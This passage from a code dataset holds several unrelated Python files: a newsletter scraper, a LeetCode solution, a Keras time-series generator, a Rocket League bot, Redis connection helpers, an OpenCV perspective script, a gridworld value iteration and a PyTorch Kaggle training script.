re.sub('[^A-Za-z0-9]+', '',date)\n else:\n \tdate = np.nan\n\n issue_data = {name:data for name, data in zip(['issue_num', 'date'], [issue_num, date])}\n self.issue_data.add(issue_num)\n return issue_data\n \n def scrape_issue(self, url):\n\n '''takes in url of a newsletter issue and returns a dataframe containing info about the issue number,date, as well as\n newsletter categories,titles,links, and summaries'''\n\n headers = {'User-Agent': 'Chrome66.0'}\n req = self.session.get(url, headers=headers)\n bs = BeautifulSoup(req.text, 'lxml')\n \n categories = bs.find_all(*self.category_args)\n issue_df = pd.concat([self.parse_category_data(category = category) for category in categories]).reset_index(drop=True)\n \n issue_data = self.get_issue_data(bs)\n issue_df['date'] = issue_data['date']\n issue_df['issue_num'] = issue_data['issue_num']\n issue_df = issue_df[['issue_num', 'date', 'category_title', 'item_title', 'item_summary', 'link']]\n return issue_df\n\n def crawl_archive(self, issue_suffixes = None):\n '''crawls through each issue in a newsletter archive and extracts the relevant data pertaining to each issue'''\n\n newsletter_df = pd.DataFrame()\n if issue_suffixes is None:\n latest_issue_num = self.get_latest_issue()\n issue_suffixes = [str(num) for num in range(1,latest_issue_num,1)]\n urls = [self.archive_url+suffix for suffix in issue_suffixes]\n for url in tqdm(urls):\n newsletter_df = pd.concat([newsletter_df, self.scrape_issue(url)]).reset_index(drop = True)\n r = random.uniform(0.5,2)\n time.sleep(r)\n\n return newsletter_df","sub_path":"dataelixir_crawler.py","file_name":"dataelixir_crawler.py","file_ext":"py","file_size_in_byte":5142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"331705991","text":"class Solution:\n def combinationSum(self, candidates: List[int], target: int) -> List[List[int]]:\n self.ans = []\n candidates.sort()\n self.dfs(candidates, target, 0, [], 0)\n return self.ans\n \n def dfs(self, candidates, target, currSum, path, index):\n if currSum == target:\n self.ans.append(path[:])\n return\n \n for i in range(index, len(candidates)):\n if candidates[i] > target - currSum:\n return\n path.append(candidates[i])\n self.dfs(candidates, target, currSum+candidates[i], path, i)\n path.pop()","sub_path":"LC39CombinationSum.py","file_name":"LC39CombinationSum.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"330887987","text":"# -*- coding: utf-8 -*-\n\"\"\"Utilities for preprocessing sequence data.\n\"\"\"\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom __future__ import division\nfrom __future__ import absolute_import\n\nimport numpy as np\nimport random\nfrom six.moves import range\nfrom keras.utils.data_utils import Sequence\nimport warnings\n\n\nclass TimeseriesGenerator(Sequence):\n \"\"\"Utility class for generating batches of temporal data.\n This class takes in a sequence of data-points gathered at\n equal intervals, along with time series parameters such as\n stride, length of history, etc., to produce batches for\n training/validation.\n # Arguments\n data: Indexable generator (such as list or Numpy array)\n containing consecutive data points (timesteps).\n The data should be convertible into a 1D numpy array,\n if 2D or more, axis 0 is expected to be the time dimension.\n targets: Targets corresponding to timesteps in `data`.\n It should have at least the same length as `data`.\n length: length of the output sub-sequence before sampling (use hlength instead).\n sampling_rate: Period between successive individual timesteps\n within sequences, `length` has to be a multiple of `sampling_rate`.\n stride: Period between successive output sequences.\n For stride `s`, consecutive output samples would\n be centered around `data[i]`, `data[i+s]`, `data[i+2*s]`, etc.\n start_index, end_index: Data points earlier than `start_index`\n or later than `end_index` will not be used in the output sequences.\n This is useful to reserve part of the data for test or validation.\n shuffle: Whether to shuffle output samples,\n or instead draw them in chronological order.\n reverse: Boolean: if `True`, timesteps in each output sample will be\n in reverse chronological order.\n batch_size: Number of timeseries samples in each batch.\n hlength: Effective \"history\" length of the output sub-sequences after sampling (in number of timesteps).\n gap: prediction gap, i.e. numer of timesteps ahead (usually same as samplig_rate)\n `x=data[i - (hlength-1)*sampling_rate - gap:i-gap+1:sampling_rate]` and `y=targets[i]`\n are used respectively as sample sequence `x` and target value `y`.\n target_seq: Boolean: if 'True', produces full shifted sequence targets:\n If target_seq is set, for sampling rate `r`, timesteps\n `data[i - (hlength-1)*r - gap]`, ..., `data[i-r-gap]`, `data[i-gap]` and\n `targets[i - (hlength-1)*r]`, ..., `data[i-r]`, `data[i]`\n are used respectively as sample sequence `x` and target sequence `y`.\n dtype: force sample/target dtype (default is None)\n stateful: helper to set parameters for stateful learning (experimental).\n\n\n # Returns\n A [Sequence](/utils/#sequence) instance of tuples (x,y)\n where x is a numpy array of shape (batch_size, hlength, ...)\n and y is a numpy array of shape (batch_size, ...) if target_seq is `False`\n or (batch_size, hlength, ...) if target_seq is `True`.\n If not specified, output dtype is infered from data dtype.\n\n # Examples\n ```python\n from keras.preprocessing.sequence import TimeseriesGenerator\n import numpy as np\n data = np.array([[i] for i in range(50)])\n targets = np.array([[i] for i in range(50)])\n\n data_gen = TimeseriesGenerator(data, targets,\n length=5, sampling_rate=2,\n batch_size=2, shuffle=False)\n x, y = data_gen[0]\n assert len(data_gen) == 20\n assert np.array_equal(x, np.array([[[0], [2], [4], [6], [8]],\n [[1], [3], [5], [7], [9]]]))\n assert np.array_equal(y, np.array([[10], [11]]))\n\n x, y = data_gen[-1]\n\n assert np.array_equal(x, np.array([[[38], [40], [42], [44], [46]],\n [[39], [41], [43], [45], [47]]]))\n assert np.array_equal(y, np.array([[48], [49]]))\n\n txt = bytearray(\"Keras is simple.\", 'utf-8')\n data_gen = TimeseriesGenerator(txt, txt, length=10, batch_size=1)\n\n for i in range(len(data_gen)):\n print(data_gen[i][0].tostring(), \"->'%s'\" % data_gen[i][1].tostring())\n\n assert data_gen[-1][0].shape == (1, 10) and data_gen[-1][1].shape==(1,)\n assert data_gen[-1][0].tostring() == u\" is simple\"\n assert data_gen[-1][1].tostring() == u\".\"\n\n data_gen = TimeseriesGenerator(txt, txt, length=10, target_seq=True)\n\n assert data_gen[-1][0].shape == (1, 10) and data_gen[-1][1].shape==(1,10,1)\n for i in range(len(data_gen)):\n print(data_gen[i][0].tostring(), \"->'%s'\" % data_gen[i][1].tostring())\n\n assert data_gen[0][1].tostring() == u\"eras is si\"\n\n\n ```\n \"\"\"\n\n def __init__(self, data, targets, length=None,\n sampling_rate=1,\n stride=1,\n start_index=0, end_index=None,\n shuffle=False,\n reverse=False,\n batch_size=32,\n hlength=None,\n target_seq=False,\n gap=None,\n dtype=None,\n stateful=False):\n\n # Sanity check\n assert sampling_rate > 0\n assert batch_size > 0\n assert len(data) <= len(targets)\n\n if hlength is None:\n warnings.warn(\n '`length` parameter is depreciated, use `hlength` instead.', DeprecationWarning)\n if length % sampling_rate is not 0:\n raise RuntimeError(\n 'length must be a multiple of sampling_rate')\n hlength = length // sampling_rate\n\n self.hlength = hlength\n assert self.hlength > 0\n\n self.data = np.asarray(data)\n self.targets = np.asarray(targets)\n\n # FIXME: targets must be 2D, seems required by sparse losses on integer seq output\n if target_seq and len(self.targets.shape) < 2:\n self.targets = np.expand_dims(self.targets, axis=-1)\n\n if dtype is None:\n self.data_type = self.data.dtype\n self.targets_type = self.targets.dtype\n else:\n self.data_type = dtype\n self.targets_type = dtype\n\n # force stateful-compatible parameters\n if stateful:\n shuffle = False\n gap = sampling_rate\n b = batch_size\n while self.hlength % b > 0:\n b -= 1\n batch_size = b\n stride = (self.hlength // batch_size) * sampling_rate\n\n self.sampling_rate = sampling_rate\n self.batch_size = batch_size\n assert stride > 0\n self.stride = stride\n if gap is None:\n gap = sampling_rate\n self.gap = gap\n\n sliding_win_size = (self.hlength - 1) * sampling_rate + gap\n self.start_index = start_index + sliding_win_size\n if end_index is None:\n end_index = len(data)\n assert end_index <= len(data)\n self.end_index = end_index\n self.reverse = reverse\n self.target_seq = target_seq\n\n assert self.start_index < self.end_index\n assert self.batch_size * self.stride > 0\n assert self.batch_size * self.stride < self.end_index - self.start_index\n self.len = (self.end_index -\n self.start_index) // (self.batch_size * self.stride)\n assert self.len > 0\n\n self.perm = np.arange(self.start_index, self.end_index)\n if shuffle:\n np.random.shuffle(self.perm)\n\n def __len__(self):\n return self.len\n\n def _empty_batch(self, num_rows):\n samples_shape = [num_rows, self.hlength]\n samples_shape.extend(self.data.shape[1:])\n if self.target_seq:\n targets_shape = [num_rows, self.hlength]\n else:\n targets_shape = [num_rows]\n targets_shape.extend(self.targets.shape[1:])\n\n return np.empty(samples_shape, dtype=self.data_type), np.empty(targets_shape, dtype=self.targets_type)\n\n def __getitem__(self, index):\n while index < 0:\n index += self.len\n assert index < self.len\n i = self.batch_size * self.stride * index\n assert i + self.batch_size * self.stride <= self.end_index\n rows = np.arange(i, i + self.batch_size * self.stride, self.stride)\n rows = self.perm[rows]\n\n samples, targets = self._empty_batch(len(rows))\n for j, row in enumerate(rows):\n indices = range(rows[j] - self.gap - (self.hlength - 1) * self.sampling_rate,\n rows[j] - self.gap + 1, self.sampling_rate)\n samples[j] = self.data[indices]\n if self.target_seq:\n shifted_indices = range(rows[j] - (self.hlength - 1) * self.sampling_rate,\n rows[j] + 1, self.sampling_rate)\n targets[j] = self.targets[shifted_indices]\n else:\n targets[j] = self.targets[rows[j]]\n if self.reverse:\n return samples[:, ::-1, ...], targets\n return samples, targets\n","sub_path":"keras_contrib/preprocessing/sequence.py","file_name":"sequence.py","file_ext":"py","file_size_in_byte":9211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"240321578","text":"import math\n\nfrom RLBotFramework.agents.base_agent import BaseAgent\nfrom RLBotFramework.utils.structures.quick_chats import QuickChats\n\nURotationToRadians = math.pi / float(32768)\n\n\nclass Atba(BaseAgent):\n flip_turning = False\n\n def get_output_vector(self, game_tick_packet):\n\n ball_location = Vector2(game_tick_packet.gameball.Location.X, game_tick_packet.gameball.Location.Y)\n\n my_car = game_tick_packet.gamecars[self.index]\n car_location = Vector2(my_car.Location.X, my_car.Location.Y)\n car_direction = get_car_facing_vector(my_car)\n car_to_ball = ball_location - car_location\n\n steer_correction_radians = car_direction.correction_to(car_to_ball)\n\n if steer_correction_radians > 0:\n # Positive radians in the unit circle is a turn to the left.\n turn = -1.0 # Negative value for a turn to the left.\n else:\n turn = 1.0\n\n if self.flip_turning:\n self.flip_turning = not self.flip_turning\n turn *= -1.0\n\n #self.send_quick_chat(QuickChats.CHAT_EVERYONE, QuickChats.Information_IGotIt)\n\n return [\n 1.0, # throttle\n turn, # steer\n 0.0, # pitch\n 0.0, # yaw\n 0.0, # roll\n 0, # jump\n 0, # boost\n 0 # handbrake\n ]\n\n def load_config(self, config_header):\n self.flip_turning = config_header.getboolean('flip_turning')\n\n @staticmethod\n def create_agent_configurations():\n config = super(Atba, Atba).create_agent_configurations()\n config.add_header_name('Bot Parameters').add_value('flip_turning', bool, default=False,\n description='if true bot will turn opposite way')\n return config\n\n\nclass Vector2:\n def __init__(self, x=0, y=0):\n self.x = float(x)\n self.y = float(y)\n\n def __add__(self, val):\n return Vector2(self.x + val.x, self.y + val.y)\n\n def __sub__(self, val):\n return Vector2(self.x - val.x, self.y - val.y)\n\n def correction_to(self, ideal):\n # The in-game axes are left handed, so use -x\n current_in_radians = math.atan2(self.y, -self.x)\n ideal_in_radians = math.atan2(ideal.y, -ideal.x)\n\n correction = ideal_in_radians - current_in_radians\n\n # Make sure we go the 'short way'\n if abs(correction) > math.pi:\n if correction < 0:\n correction += 2 * math.pi\n else:\n correction -= 2 * math.pi\n\n return correction\n\n\ndef get_car_facing_vector(car):\n pitch = float(car.Rotation.Pitch)\n yaw = float(car.Rotation.Yaw)\n\n facing_x = math.cos(pitch * URotationToRadians) * math.cos(yaw * URotationToRadians)\n facing_y = math.cos(pitch * URotationToRadians) * math.sin(yaw * URotationToRadians)\n\n return Vector2(facing_x, facing_y)\n","sub_path":"agents/atba/atba.py","file_name":"atba.py","file_ext":"py","file_size_in_byte":2910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"318149702","text":"#coding=utf-8\n\nfrom contextlib import contextmanager\nfrom redis import StrictRedis\nfrom .local import LocalStack, release_local\nfrom .compat.connections import patch_connection\nfrom .utils import funclog\n\nclass NoRedisConnectionException(Exception):\n pass\n\n# contextmanager 用于构造 with 语句的生成器。\n# 在这里 yield 没有具体的迭代值,整个生成器为 [None],在这里的目的主要是使 Connection 支持 with 语法,\n# 实现是在 try 之前的 push_connection() 初始化了变量 _connection_stack,最后在 finnaly 进行 assert,\n# 这个 _connection_stack 变量可以在 queue.py 中通过本文件定义的函数进行使用。\n# 参考:http://www.python.org/dev/peps/pep-0343/\n@contextmanager\ndef Connection(connection=None):\n funclog()\n if connection is None:\n connection = StrictRedis()\n push_connection(connection)\n try:\n yield\n finally:\n popped = pop_connection()\n assert popped == connection, \\\n 'Unexpected Redis connection was popped off the stack. ' \\\n 'Check your Redis connection setup.'\n\n\ndef push_connection(redis):\n \"\"\"Pushes the given connection on the stack.\"\"\"\n funclog()\n _connection_stack.push(patch_connection(redis))\n\n\ndef pop_connection():\n \"\"\"Pops the topmost connection from the stack.\"\"\"\n funclog()\n return _connection_stack.pop()\n\n\ndef use_connection(redis=None):\n \"\"\"Clears the stack and uses the given connection. Protects against mixed\n use of use_connection() and stacked connection contexts.\n \"\"\"\n assert len(_connection_stack) <= 1, \\\n 'You should not mix Connection contexts with use_connection().'\n release_local(_connection_stack)\n\n if redis is None:\n redis = StrictRedis()\n push_connection(redis)\n\n\ndef get_current_connection():\n \"\"\"Returns the current Redis connection (i.e. the topmost on the\n connection stack).\n \"\"\"\n funclog()\n return _connection_stack.top\n\n\ndef resolve_connection(connection=None):\n \"\"\"Convenience function to resolve the given or the current connection.\n Raises an exception if it cannot resolve a connection now.\n\n 获取 connection\n 如果传入 Redis 对象,则用 partail 附加上 StrictRedis 对应的方法\n 如果传入 StrictRedis 对象,不做改变\n 如果不传参数(仅在 with Connection() 与语法下可用),由 rq 默认生成\n \"\"\"\n funclog()\n if connection is not None:\n return patch_connection(connection)\n\n connection = get_current_connection()\n if connection is None:\n raise NoRedisConnectionException('Could not resolve a Redis connection.')\n return connection\n\n\n_connection_stack = LocalStack()\n\n__all__ = ['Connection', 'get_current_connection', 'push_connection',\n 'pop_connection', 'use_connection']\n","sub_path":"rq/connections.py","file_name":"connections.py","file_ext":"py","file_size_in_byte":2852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"469222601","text":"##圖案轉換點\nimport cv2 \nimport numpy as np \nfrom matplotlib import pyplot as plt\n\n#轉換點格式\npts1 = np.float32([[0,0],[0,0],[0,0],[0,0]]) #預設4個點為0\n\ni=0\n#定義滑鼠要幹嘛\ndef savexy(event,x,y,flags,param):\n global pst1\n global i\n if event==cv2.EVENT_LBUTTONDBLCLK:\n print(x,y) #可印在程式裡面\n #cv2.circle(img,(x,y), 3, (0,0,0) ,3)也可以換畫點點\n pts1[i]=[x,y]#按下滑鼠會將原本預設的數值更改\n i+=1\n\nimg=cv2.imread('test2.jpg')\nrows,cols,ch=img.shape\n\n#第二條線為對齊線\npts2 = np.float32([[0,0],[400,0],[0,400],[400,400]])#向中間線對齊\n\n\n#先開一張圖image\ncv2.namedWindow('image')\ncv2.setMouseCallback('image',savexy)\nwhile(1):\n cv2.imshow('image',img)\n if cv2.waitKey(20)&0xFF==27 or i>3:\n break\ncv2.destroyAllWindows()\n\nM=cv2.getPerspectiveTransform(pts1,pts2)\ndst=cv2.warpPerspective(img,M,(300,300))\ndst1 = cv2.cvtColor(dst,cv2.COLOR_BGR2RGB)\nplt.subplot(121), plt.imshow(img), plt.title('Input')\nplt.subplot(122), plt.imshow(dst1), plt.title('Output')\nplt.show()\n\n","sub_path":"test-13.py","file_name":"test-13.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"424729744","text":"\"\"\"\nVersion 2 of Grid world.\n\"\"\"\n\nimport numpy as np\nimport matplotlib as mpl\nfrom matplotlib import pyplot as plt\n\nclass State:\n beta = 1.\n \n mask = 65535\n \n @staticmethod\n def to_token(a, b):\n \"\"\"\n a and b: are int(s) or numpy arrays of dtype=int of same shape\n \"\"\"\n return np.array(a*State.mask + b, dtype=int)\n \n @staticmethod\n def to_coord(token):\n \n return np.array([token//State.mask, token%State.mask], dtype=int).T\n \n @classmethod\n def set_beta(cls, beta):\n cls.beta = beta\n \n @classmethod\n def set_params(cls, agents=None, n_row=10, n_col=10):\n \"\"\"\n Parameters\n ----------\n targets: iterable of targets' original coordinates from (1,1) to (n,m)\n agents: iterable of agents' original coordinates\n \"\"\"\n cls.n_row = n_row\n cls.n_col = n_col\n \n if agents is None:\n cls.agents = np.array([State.to_token(np.random.randint(0,cls.n_row),np.random.randint(0,cls.n_col))])\n else:\n cls.agents = State.to_token(*np.array(agents).T)\n \n def __init__(self, i, j):\n self.coord = np.array([i, j])\n self.token = State.to_token(i, j)\n \n self.Q = []\n self.value = -2.\n self.action = []\n self.cost = []\n # self.map = {}\n \n def set_targets(self, targets=None):\n if targets is None:\n self.targets = np.array([State.to_token(np.random.randint(0,cls.n_row),np.random.randint(0,cls.n_col))])\n else:\n self.targets = State.to_token(*np.array(targets).T)\n\n \n def add_action(self, action, cost):\n self.action += [action,]\n self.cost += [cost,]\n self.Q += [0,]\n \n # self.map[action] = cost\n \n def change_cost(self, action, cost):\n self.cost[self.action == action] = cost\n # self.map[action] = cost\n \n \n def update_Q(self):\n for i in range(len(self.action)):\n self.Q[i] = self.action[i].value + self.cost[i]\n\n def update_V(self, targets=None, values=None):\n '''\n targets: self-defined targets, iterable, in terms of token\n values: dict, key=target token, value=value of target\n '''\n if targets is None:\n targets = self.targets\n if self.token in targets:\n # print(type(self.token), self.token)\n self.value = values[int(self.token)] if values is not None else 0\n return self.value\n old_value = self.value\n prob = np.exp(np.array(self.Q) * State.beta)\n prob /= np.sum(prob)\n self.value = np.matmul(prob, np.array(self.Q))\n return abs(self.value - old_value)\n\n\n\ndef set_board(n=10, m=10, blocks=[],targets=None, agents=None,beta=1.0):\n \n \n State.set_beta(beta)\n State.set_params(n_row=n, n_col=m, agents=agents)\n\n seq = [None] * ((m+2)*(n+2))\n\n seq = np.array(seq, dtype=State)\n board = seq.reshape(n+2,m+2)\n\n for i in range(m*n):\n board[i//m+1, i%m+1] = State(i//m, i%m)\n board[i//m+1, i%m+1].set_targets(targets=targets)\n\n for block in blocks:\n # assert isinstance(block[0],int)\n board[int(block[0]), int(block[1])] = None\n \n \n directions = [np.array([-1,0]),\n np.array([1,0]),\n np.array([0,-1]),\n np.array([0,1])]\n for i in range(1,n+1):\n for j in range(1, m+1):\n if board[i,j] is None:\n continue\n for d in directions:\n if board[i+d[0], j+d[1]] is not None:\n board[i,j].add_action(board[i+d[0], j+d[1]], 0 if State.to_token(i+d[0], j+d[1]) in board[i,j].targets else -1)\n\n return seq, board\n\n\ndef update(board, seq=None, targets=None, values=None):\n '''\n could be more flexible, but less efficient\n '''\n diff = np.zeros_like(seq, dtype=float)\n for element in seq:\n if element is not None:\n element.update_Q()\n for i, element in enumerate(seq):\n if element is not None:\n diff[i] = element.update_V(targets, values)\n return diff","sub_path":"grid2.py","file_name":"grid2.py","file_ext":"py","file_size_in_byte":4201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"626709647","text":"\nfrom __future__ import print_function\n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport os, time, sys, copy\nfrom time import gmtime, strftime\nfrom tqdm import tqdm\n\nfrom sklearn.cross_validation import KFold\nfrom sklearn.metrics import fbeta_score\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import MultiLabelBinarizer\n\nimport cv2\nfrom PIL import Image, ImageEnhance\n\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import transforms, utils\nimport torchvision.models as models\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.autograd import Variable\n\n## Import self-defined modules ###\nimport PyTorch_models as my_models\nimport Image_transformation as IT\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\n#####################################################\ntrain_img_path = '../input/train-jpg/'\ntest_img_path = '../input/test-jpg/'\nimg_ext = '.jpg'\n\nmodel_weight_file = './PyTorch_densenet_v1.hdf5'\npretrained_weight_file = './densenet121_weights_tf.h5'\n\nnum_classes = 17\npatience = 10\n\nimg_dim_1 = 224 # 224 standard input size for densenet, resnet, VGG\nimg_dim_2 = 299 # 299 input size for inception_v3\n\nnum_epochs = 40 #25\nbatch_size = 20\n\nlr = 1e-4 #1e-3 for SGD; 1e-4 for Adam\nlr_decay_epoch = 12\n\nwarm_start = True\n\nrandomTTA = False\nTTA_num_train = 7 # If randomTTA False, automatically set to 7\nTTA_num_test = 7 # If randomTTA False, automatically set to 7\n\nsharperness_factor = 1.6\ncontrast_factor = 1.05\n\nrun_training = True\ngenerate_predictions = True\nthreshold_optimisation = True\nmake_submission = True\n\n#####################################################\nstart_time = time.time()\nprint()\nprint('Start Time: {}'.format(strftime(\"%Y-%m-%d %H:%M:%S\", gmtime())))\n\ndf_train_all = pd.read_csv('../input/train_v2.csv')\ndf_test = pd.read_csv('../input/sample_submission_v2.csv')\n\nmlb = MultiLabelBinarizer()\nmlb.fit_transform( df_train_all['tags'].str.split()).astype(np.float32)\n\nprint('-' * 10), print('Labels:'), print('-' * 10)\nfor label in list(mlb.classes_):\n print(label)\nprint('-' * 50)\n\n\n######################################################\ndef get_train_valid_df(df_train_all, val_size=0.2):\n train_size = 1 - val_size\n K = int(len(df_train_all) * train_size)\n\n df_train_all = df_train_all.sample(frac=1).reset_index(drop=True)\n df_train = df_train_all[:K].reset_index(drop=True)\n df_valid = df_train_all[K:].reset_index(drop=True)\n\n return df_train, df_valid\n\n\n######################################################\nrepeat_splitting = True\nsplit_count = 0\n\nwhile repeat_splitting:\n\n df_train, df_valid = get_train_valid_df(df_train_all, val_size=0.2)\n\n # Code below make sure the valid set has enough samples for rare labels\n mlb_valid = MultiLabelBinarizer()\n Y = mlb_valid.fit_transform( df_valid['tags'].str.split()).astype(np.float32)\n labels = list(mlb.classes_)\n split_count += 1\n\n idx1 = labels.index('blow_down') #Only 98 images in Train set\n idx2 = labels.index('conventional_mine') #Only 100 images in Train set\n\n a1 = np.sum(Y[:,idx1])\n a2 = np.sum(Y[:,idx2])\n\n if (len(mlb_valid.classes_) == num_classes) and a1 >= 25 and a2 >= 25:\n print('Train valid split count = {}'.format(split_count))\n print('Valid data: blow_down count = {}; conventional_mine count = {}'.format(a1, a2))\n repeat_splitting = False\n\n######################################################\n\nclass KaggleAmazonDataset(Dataset):\n ## From: https://www.kaggle.com/mratsim/starting-kit-for-pytorch-deep-learning\n \"\"\"Dataset wrapping images and target labels for Kaggle - Planet Amazon from Space competition.\n\n Arguments:\n A CSV file path\n Path to image folder\n Extension of images\n PIL transforms\n \"\"\"\n\n def __init__(self, df, img_path, img_ext='.jpg', transform=None):\n\n assert df['image_name'].apply(lambda x: os.path.isfile(img_path + x + img_ext)).all()\n\n self.mlb = MultiLabelBinarizer()\n self.img_path = img_path\n self.img_ext = img_ext\n self.transform = transform\n\n self.X_train = df['image_name']\n self.y_train = self.mlb.fit_transform(df['tags'].str.split()).astype(np.float32)\n self.tags = df['tags']\n\n def __getitem__(self, index):\n img = Image.open(self.img_path + self.X_train[index] + self.img_ext)\n\n img = ImageEnhance.Sharpness(img).enhance( sharperness_factor)\n img = ImageEnhance.Contrast(img).enhance( contrast_factor)\n\n img = img.convert('RGB')\n if self.transform is not None:\n img = self.transform(img)\n\n label = torch.from_numpy(self.y_train[index])\n return img, label, self.tags[index]\n\n def __len__(self):\n return len(self.X_train.index)\n\n\n######################################################\ndef get_y_train(df=df_train):\n mlb = MultiLabelBinarizer()\n Y = mlb.fit_transform( df['tags'].str.split()).astype(np.float32)\n #print('Labels: {}'.format(list(mlb.classes_)))\n return Y\n\n#######################################################\ndef exp_lr_scheduler(optimizer, epoch, init_lr=lr, lr_decay_epoch=lr_decay_epoch):\n \"\"\"Decay learning rate by a factor of 0.1 every lr_decay_epoch epochs.\"\"\"\n lr = init_lr * (0.1**(epoch // lr_decay_epoch))\n\n if epoch % lr_decay_epoch == 0:\n print('LR is set to {}'.format(lr))\n\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n\n return optimizer\n\n#######################################################\ndef fixed_lr_scheduler(optimizer, epoch, init_lr=lr): #lr=0.01\n lr = init_lr\n if epoch >= 6: lr = init_lr * 0.1\n if epoch >= 12: lr = init_lr * 0.01\n if epoch >= 18: lr = init_lr * 0.001\n\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n\n print('LR is set to {}'.format(lr))\n return optimizer\n\n#######################################################\ndef f2_score(y_true, y_pred):\n # fbeta_score throws a confusing error if inputs are not numpy arrays\n y_true, y_pred, = np.array(y_true), np.array(y_pred)\n # We need to use average='samples' here, any other average method will generate bogus results\n return fbeta_score(y_true, y_pred, beta=2, average='samples')\n\n######################################################\ndef train_model(model, optimizer, lr_scheduler, num_epochs=30):\n\n best_model = model\n best_loss = 1.0\n best_epoch = 0\n patience_count = 0\n\n for epoch in range(num_epochs):\n since = time.time()\n\n\n print('Epoch {}/{}'.format(epoch, num_epochs - 1))\n print('-' * 50)\n\n # Each epoch has a training and validation phase\n for phase in ['train', 'val']:\n if phase == 'train':\n optimizer = lr_scheduler(optimizer, epoch)\n model.train(mode=True) # Set model to training mode\n else:\n model.train(mode=False) # Set model to evaluate mode\n\n running_loss = 0.0\n data_count = 0\n predictions = []\n y_true = []\n\n #Used in inter-epoch print out\n num_print_per_epoch = 10\n num_batches = int(dset_sizes[phase] // batch_size + 1)\n A = int(num_batches // num_print_per_epoch + 1)\n\n # Iterate over data in batches\n for batch_idx, data in enumerate(dset_loaders[phase]):\n inputs, labels, _ = data\n inputs, labels = Variable(inputs.cuda()), Variable(labels.cuda())\n\n data_count += len(inputs)\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward\n outputs = model(inputs)\n\n loss = F.binary_cross_entropy(outputs, labels)\n running_loss += batch_size * loss.data[0]\n\n if (phase == 'train'):\n # backward + optimize only if in training phase\n loss.backward()\n optimizer.step()\n\n # Print inter-epoch output\n if (batch_idx % A == 0):\n # print('{} Epoch: {} [{}/{} ({:.0f}%)] \\tLoss: {:.6f}'.format(\n # phase, epoch, batch_idx * len(inputs), dset_sizes[phase],\n # 100. * batch_idx / num_batches, loss.data[0]))\n\n num_processed = batch_idx * len(inputs)\n print('{} Epoch: {} [{}/{} ({:.0f}%)] \\tLoss: {:.6f}'.format(\n phase, epoch, num_processed, dset_sizes[phase],\n 100. * num_processed / dset_sizes[phase], loss.data[0]))\n\n\n if phase == 'val':\n output_numpy = outputs.cpu().data.numpy().reshape(-1, num_classes)\n predictions = np.vstack((predictions, output_numpy)) if batch_idx > 0 else output_numpy\n\n labels_numpy = labels.cpu().data.numpy().reshape(-1, num_classes)\n y_true = np.vstack((y_true, labels_numpy)) if batch_idx > 0 else labels_numpy\n\n\n epoch_loss = running_loss / dset_sizes[phase]\n print('{} Loss: {:.4f}'.format( phase, epoch_loss))\n\n # deep copy the model\n if phase == 'val':\n if epoch_loss < best_loss:\n best_loss = epoch_loss\n best_epoch = epoch\n best_model = copy.deepcopy(model)\n torch.save(best_model, '../modelsnapshot/best_current_model.torch')\n patience_count = 0\n else:\n patience_count += 1\n print('Patience count: {}'.format(patience_count))\n\n assert (data_count == dset_sizes[phase])\n\n f_score = fbeta_score(y_true, predictions > 0.2, beta=2, average='samples')\n print('Validation Fbeta_score: {:.6f}'.format(f_score))\n\n time_elapsed = time.time() - since\n print('Epoch complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60, time_elapsed % 60))\n print('')\n\n if patience_count >= patience:\n break\n\n print('Best result in epoch: {}'.format(best_epoch))\n torch.save(best_model, '../modelsnapshot/best_final_model.torch')\n\n time_elapsed = time.time() - start_time\n print('Training complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60, time_elapsed % 60))\n print('')\n\n return best_model, predictions\n\n#####################################################\ndef predict(model, dataset_loader, to_evaluate=True):\n\n since = time.time()\n\n N = len(dataset_loader.dataset)\n model.train(mode=False) # Set model to evaluate mode\n\n # Used in inter-epoch print out\n # num_print_per_epoch = 4\n # num_batches = int(N // batch_size + 1)\n # A = int(num_batches // num_print_per_epoch + 1)\n\n running_loss = 0.0\n data_count = 0\n predictions = []\n y_true = []\n\n # Iterate over data in batches\n for batch_idx, data in enumerate(dataset_loader):\n inputs, labels, tags = data\n inputs, labels = Variable(inputs.cuda(), volatile=True), Variable(labels.cuda(), volatile=True)\n\n data_count += len(inputs)\n\n # forward\n outputs = model(inputs)\n\n output_numpy = outputs.cpu().data.numpy().reshape(-1, num_classes)\n predictions = np.vstack((predictions, output_numpy)) if batch_idx > 0 else output_numpy\n\n # Print inter-epoch output\n # if (batch_idx % A == 0):\n # num_processed = batch_idx * len(inputs)\n # print('[{}/{} ({:.0f}%)]'.format(num_processed, N, 100. * num_processed / N))\n\n if to_evaluate:\n loss = F.binary_cross_entropy(outputs, labels)\n running_loss += batch_size * loss.data[0]\n\n labels_numpy = labels.cpu().data.numpy().reshape(-1, num_classes)\n y_true = np.vstack((y_true, labels_numpy)) if batch_idx > 0 else labels_numpy\n\n assert (data_count == N)\n #print(( np.shape(predictions), np.shape(y_true)))\n\n if to_evaluate:\n epoch_loss = running_loss / N\n print('Evaluation Loss: {:.4f}'.format(epoch_loss))\n\n f_score = fbeta_score(y_true, predictions > 0.2, beta=2, average='samples')\n print('Fbeta_score: {:.6f}'.format(f_score))\n\n time_elapsed = time.time() - since\n 